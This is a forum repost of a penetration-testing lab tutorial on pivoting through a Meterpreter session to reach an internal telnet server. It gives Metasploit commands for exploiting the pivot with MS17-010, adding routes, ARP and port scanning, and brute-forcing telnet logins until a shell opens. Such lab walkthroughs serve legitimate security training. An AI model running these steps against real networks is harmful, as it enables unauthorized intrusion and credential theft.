• We just launched and are currently in beta. Join us as we build and grow the community.

Telnet Pivoting through Meterpreter

P Rep
0
0
0
Rep
0
P Vouches
0
0
0
Vouches
0
Posts
82
Likes
138
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 500 XP
In our previous tutorial, we had discussed on SSH pivoting and today we are going to discuss Telnet pivoting.

From Offensive Security

Pivoting is a technique to get inside an unreachable network with help of pivot (center point). In simple words, it is an attack through which an attacker can exploit that system which belongs to the different network. For this attack, the attacker needs to exploit the main server that helps the attacker to add himself inside its local network and then the attacker will able to target the client system for the attack.

Lab Setup requirement:

Attacker machine: Kali Linux

Pivot Machine (client): window operating system with two network interface

Target Machine: Ubuntu server (Allow telnet service)

0.1.png


Exploit pivot machine

Use exploit MS17-010 or multi handler to hack the pivot machine.

Code:
sessions

From the given image, you can confirm that I owned a pivot machine (192.168.1.107) meterpreter session1.

0.png


Check the network interface through the following command:

Code:
meterpreter> ifconfig

From the given image you can observe two networks interface in pivot’s system 1stfor IP 192.168.1.107 through which the attacker is connected and 2nd for IP 10.0.0.20 through which telnet server (targets) are connected.

1.png


Route Add

Since the attacker belongs to the 192.168.1.1 interface and target belongs to 10.0.0.0 interface, therefore, it is not possible to directly make an attack on the target network until unless the attacker acquires the same network connection. In order to achieve a 10.0.0.0 network attacker need to run the post exploitation “autoroute”.

Code:
use post/multi/manage/autoroute
msf post(autoroute) > set session 1
msf post(autoroute) > exploit

2.png


This Module will perform an ARP scan for a given IP range through a Meterpreter Session.

Code:
use post/windows/gather/arp_scanner
msf post(arp_scanner) > set rhosts 10.0.0.1-30
msf post(arp_scanner) > set session 1
msf post(arp_scanner) > set thread 20
msf post(arp_scanner) > exploit

Here we found a new IP 10.0.0.10 as shown in the given image. Let’s perform TCP port scan for activated services on this machine.

3.png


This module Enumerates open TCP services by performing a full TCP connect on each port. This does not need administrative privileges on the source machine, which may be useful if pivoting.

Code:
use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set ports 23
msf auxiliary(tcp) > set rhosts 10.0.0.10
msf auxiliary(tcp) > set thread 10
msf auxiliary(tcp) >exploit

From given you can observe port 23 is open and we know that port 23 is used for telnet service.

4.png


Use Telnet login Brute Force Attack

An attacker always tries to make a brute force attack for stealing credential for unauthorized access.

This module will test a telnet login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.

Now type the following command to Brute force TELNET login:

Code:
use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > set rhosts 10.0.0.10
msf auxiliary(telnet_login) > set user_file /root/Desktop/user
msf auxiliary(telnet_login) > set pass_file /root/Desktop/pass
msf auxiliary(telnet_login) > exploit

From given image you can observe that TELNET server is not secure against brute force attack because it is showing a matching combination of username: aarti and password: 123 for login simultaneously it has opened victims command shell as session 2

5.1.png


Let’s count the number of victim sessions we have hold using the following command:

Code:
sessions

From the given image you can observe there are two sessions 1st as the meterpreter session of windows system and 2nd as command shell of the telnet server.

5.2.png


Code:
sessions 2

Now attacker is command shell of the server, let’s verify through network configuration.

Code:
ifconfig

From given, you can observe the network IP is 10.0.0.10

5.3.png


Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here
 

430,210

312,253

312,262

Top